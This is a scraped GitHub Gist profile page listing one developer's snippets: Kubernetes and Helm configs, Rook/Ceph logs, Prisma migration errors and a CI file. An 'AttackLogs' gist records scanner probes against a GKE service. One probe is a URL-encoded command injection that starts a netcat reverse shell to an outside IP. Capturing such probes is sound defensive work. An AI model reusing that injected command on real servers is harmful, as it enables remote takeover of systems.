Skip to content

Instantly share code, notes, and snippets.

View tvvignesh's full-sized avatar
🤓
Hacking my way through this world..

Vignesh T.V. tvvignesh

🤓
Hacking my way through this world..
View GitHub Profile
@tvvignesh
tvvignesh / AmbassadorChartIssue.yaml
Created September 27, 2020 21:25
Ambassador NonRoot error
---
# Manually set metadata for the Release.
#
# Defaults to .Chart.Name
nameOverride: ""
# Defaults to .Release.Name-.Chart.Name unless .Release.Name contains "ambassador"
fullnameOverride: ""
# Defaults to .Release.Namespace
namespaceOverride: ""
ff5c42c38ee7fdd410af696b7139c3a9e181fcf073c83c5f4268d5ccfab17b269b1d5377fc13a26e2d345f689f81bdb6dbcaeb465ed5c2a490049a0ce4f44626
@tvvignesh
tvvignesh / osd-prepare-logs
Created January 30, 2020 16:51
OSD Prepare logs
2020-01-30 15:44:10.211494 I | rookcmd: starting Rook v1.2.2 with arguments '/rook/rook ceph osd provision'
2020-01-30 15:44:10.211591 I | rookcmd: flag values: --cluster-id=86ba39f7-a91d-4e8a-ad05-7ec08d74c6f6, --data-device-filter=all, --data-device-path-filter=, --data-devices=, --data-directories=, --encrypted-device=false, --force-format=false, --help=false, --location=, --log-flush-frequency=5s, --log-level=INFO, --metadata-device=, --node-name=gke-tc-dev-1-tc-dev-big-2-74756ee2-34np, --operator-image=, --osd-database-size=0, --osd-journal-size=5120, --osd-store=, --osd-wal-size=576, --osds-per-device=1, --pvc-backed-osd=false, --service-account=
2020-01-30 15:44:10.211603 I | op-mon: parsing mon endpoints: c=10.104.0.218:6789,a=10.104.8.20:6789,b=10.104.12.173:6789
2020-01-30 15:44:10.224679 I | op-osd: CRUSH location=root=default host=gke-tc-dev-1-tc-dev-big-2-74756ee2-34np zone=asia-south1-a region=asia-south1
2020-01-30 15:44:10.224705 I | cephcmd: crush location of osd: root=default host=gke-tc-dev
@tvvignesh
tvvignesh / rook-ceph-operator-logs
Created January 30, 2020 16:10
Rook-Ceph-Operator Logs
Loading...2020-01-30 15:36:02.110633 I | rookcmd: starting Rook v1.2.2 with arguments '/usr/local/bin/rook ceph operator'
2020-01-30 15:36:02.110768 I | rookcmd: flag values: --add_dir_header=false, --alsologtostderr=false, --csi-attacher-image=quay.io/k8scsi/csi-attacher:v1.2.0, --csi-ceph-image=quay.io/cephcsi/cephcsi:v1.2.2, --csi-cephfs-plugin-template-path=/etc/ceph-csi/cephfs/csi-cephfsplugin.yaml, --csi-cephfs-provisioner-dep-template-path=/etc/ceph-csi/cephfs/csi-cephfsplugin-provisioner-dep.yaml, --csi-cephfs-provisioner-sts-template-path=/etc/ceph-csi/cephfs/csi-cephfsplugin-provisioner-sts.yaml, --csi-driver-name-prefix=, --csi-enable-cephfs=true, --csi-enable-grpc-metrics=true, --csi-enable-rbd=true, --csi-kubelet-dir-path=/var/lib/kubelet, --csi-provisioner-image=quay.io/k8scsi/csi-provisioner:v1.4.0, --csi-rbd-plugin-template-path=/etc/ceph-csi/rbd/csi-rbdplugin.yaml, --csi-rbd-provisioner-dep-template-path=/etc/ceph-csi/rbd/csi-rbdplugin-provisioner-dep.yaml, --csi-rbd-provisioner-sts-template-
@tvvignesh
tvvignesh / lift-error-2
Last active January 14, 2020 17:09
Migration error in Lift
Error: Error in RPC
Request: {
"id": 2,
"jsonrpc": "2.0",
"method": "inferMigrationSteps",
"params": {
"projectInfo": "",
"sourceConfig": "// datasource db {\n// provider = \"sqlite\"\n// url = \"file:dev.db\"\n// enabled = false\n// }\n\ndatasource postgres {\n provider = \"postgres\"\n url = env(\"POSTGRES_URL\")\n // url = \"postgresql://user:password@localhost:1992/accounts\"\n default = true\n enabled = true\n}\n\ngenerator photon {\n provider = \"photonjs\"\n output = \"../../../generated/photon\"\n}\n\n// TODO: Declare optional fields in schema\n\nmodel Phone {\n id String @default(cuid()) @id\n alias String\n contactNo String\n contactType String\n createdDate DateTime @default(now())\n updatedDate DateTime @updatedAt\n}\n\nmodel Email {\n id String @default(cuid()) @id\n alias String\n emailAddress String\n emailType String\n createdDate DateTime @default(no
@tvvignesh
tvvignesh / lift-error-1
Created December 27, 2019 12:48
Lift Migration error
# Failed calculateDatabaseSteps at 2019-12-27T12:44:14.629Z
## RPC One-Liner
```json
{"id":10,"jsonrpc":"2.0","method":"calculateDatabaseSteps","params":{"projectInfo":"","assumeToBeApplied":[{"tag":"CreateSource","source":"postgres"},{"tag":"CreateArgument","location":{"tag":"Source","source":"postgres"},"argument":"provider","value":"\"postgres\""},{"tag":"CreateArgument","location":{"tag":"Source","source":"postgres"},"argument":"url","value":"env(\"POSTGRES_URL\")"},{"tag":"CreateArgument","location":{"tag":"Source","source":"postgres"},"argument":"default","value":"true"},{"tag":"CreateArgument","location":{"tag":"Source","source":"postgres"},"argument":"enabled","value":"true"},{"tag":"CreateModel","model":"ChannelUsers"},{"tag":"CreateField","model":"ChannelUsers","field":"id","type":"String","arity":"Required"},{"tag":"CreateDirective","location":{"path":{"tag":"Field","model":"ChannelUsers","field":"id"},"directive":"default"}},{"tag":"CreateArgument","location":{"tag":"Directive","path":{"tag":"Fiel
@tvvignesh
tvvignesh / Photon-Zeebe Thread
Created December 27, 2019 10:23
Just a conversation archive about a bug in Zeebe slack channel
Vignesh T.V. Nov 14th at 8:05 PM
Faced an issue with generating TS constants from BPMN file. Details added here: https://github.com/creditsenseau/zeebe-client-node-js/issues/106
tvvigneshtvvignesh
#106 Cannot read property 'zeebe:taskDefinition' of undefined
Hi. When trying to generate the Typescript definitions from the bpmn file by doing this:
let definitions = await BpmnParser.generateConstantsForBpmnFiles(workflowFile);
I get the following error:
Cannot read property 'zeebe:taskDefinition' of undefined
@tvvignesh
tvvignesh / AttackLogs
Created December 24, 2019 01:20
Log of getting attacked in GKE - 1
{"level":"error","message":"{\"message\":\"Page Not Found - /capacitor.js.map\",\"payload\":{}}"}
{"level":"error","message":"{\"message\":\"Page Not Found - /capacitor.js.map\",\"payload\":{}}"}
{"level":"error","message":"{\"message\":\"Page Not Found - /capacitor.js.map\",\"payload\":{}}"}
{"level":"error","message":"{\"message\":\"Page Not Found - /mysql/admin/index.php?lang=en\",\"payload\":{}}"}
{"level":"error","message":"{\"message\":\"Page Not Found - /mysql/dbadmin/index.php?lang=en\",\"payload\":{}}"}
{"level":"error","message":"{\"message\":\"Page Not Found - /mysql/sqlmanager/index.php?lang=en\",\"payload\":{}}"}
{"level":"error","message":"{\"message\":\"Page Not Found - /mysql/mysqlmanager/index.php?lang=en\",\"payload\":{}}"}
{"level":"error","message":"{\"message\":\"Page Not Found - /editBlackAndWhiteList\",\"payload\":{}}"}
{"level":"error","message":"{\"message\":\"Page Not Found - /incl/image_test.shtml?camnbr=%3c%21--%23exec%20cmd=%22mkfifo%20/tmp/s;nc%20-w%205%2094.102.49.104%2031112%20
@tvvignesh
tvvignesh / dind.yml
Created December 22, 2019 18:44
Dind service for Kubernetes
kind: Namespace
apiVersion: v1
metadata:
name: dind
labels:
name: dind
---
apiVersion: v1
kind: PersistentVolumeClaim
@tvvignesh
tvvignesh / .gitlab-ci.yml
Created December 22, 2019 17:46
Example on running Skaffold with GITLAB CI for Kubernetes in GKE (Make sure you modify it appropriately and set GCP_SERVICE_KEY and GCP_PROD_SERVICE_KEY variable in Gitlab with the service account json value)
services:
- docker:dind
stages:
- development
- production
variables:
DOCKER_DRIVER: overlay2
DOCKER_TLS_CERTDIR: ''